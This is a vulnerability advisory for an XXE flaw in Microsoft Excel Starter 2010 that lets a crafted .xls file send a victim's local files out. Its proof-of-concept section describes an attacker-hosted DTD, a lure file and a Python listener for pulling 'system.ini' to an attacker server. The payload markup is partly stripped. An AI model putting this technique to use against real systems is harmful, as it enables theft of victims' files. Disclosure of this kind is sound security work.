[+] Credits: John Page aka hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-EXCEL-STARTER-XXE-REMOTE-FILE-DISCLOSURE.txt [+] ISR: ApparitionSec Vendor: ================= www.microsoft.com Product: ============================ Microsoft Excel Starter 2010 EXCELC.EXE / "OFFICEVIRT.EXE" This is a bundled Excel "starter" version that comes 'pre-loaded' with some Windows systems running, this was tested on Windows 7 etc. "C:\Program Files (x86)\Common Files\microsoft shared\Virtualization Handler\CVH.EXE" "Microsoft Excel Starter 2010 9014006604090000" C:\PROGRA~2\COMMON~1\MICROS~1\VIRTUA~1 Reference: https://support.office.com/en-us/article/Excel-features-that-are-not-fully-supported-in-Excel-Starter-0982b3f1-7bca-49a7-a04b-3c09d05941d4 Microsoft Excel Starter 2010 is a simplified version of Excel that comes pre-loaded on your computer. Excel Starter includes features that are basic to creating and working with spreadsheets, but it does not include the rich set of features found in the full version of Excel. Vulnerability Type: ==================== XML External Entity CVE Reference: ============== N/A Vulnerability Details: ===================== Microsoft Excel Starter OLD versions specifically ".xls" and ".xlthtml" files are vulnerable to XML External Entity attack. This can allow remote attackers to access and disclose ANY files from a victims computer if they open a corrupt ".xls" Excel file. We can also abuse XXE to make connections to the victims system/LAN and bypass Firewall,IPS etc (XXE/SSRF). Note: This has NOT worked in regular or updated patched Excel editions. When open the victim will get a warn message about it being a "different format and from trusted source". If user choose open the file they get error message "File cannot be opened because: System does not support the specified encoding." Then files you target get accessed and transfered to remote server. IF Excel version is "patched" or newer you will see message like "File cannot be opened because: Reference to undefined entity 'send' etc..." and XXE will fail. Tested successfully on several machines HP, TOSHIBA Windows 7 SP1 with Excel Starter 2010 versions. As some machines may still be running old pre-loaded Excel version it can be relevant so I release it anyways... Exploit code(s): =============== POC to exfiltrate "system.ini" used by MS ADO Remote Data Services. Listen port 8080 (ATTACKER-SERVER) python -m SimpleHTTPServer 8080 1) "payload.dtd" ( host on attacker server port 8080 same dir as our python web server ) "> %all; 2) "PWN.xls" Get vicitm to open it, ANY files belong to you! %dtd;]> &send; Open the "PWN.xls" in Excel Starter 2010 then BOOM! ... its raining files! Video POC: https://vimeo.com/181891000 Disclosure Timeline: ======================================= Vendor Notification: September 4, 2016 MSRC Response: "Out of date Office Client" December 4, 2016 : Public Disclosure Exploitation Technique: ======================= Remote Severity Level: ================ High [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. hyp3rlinx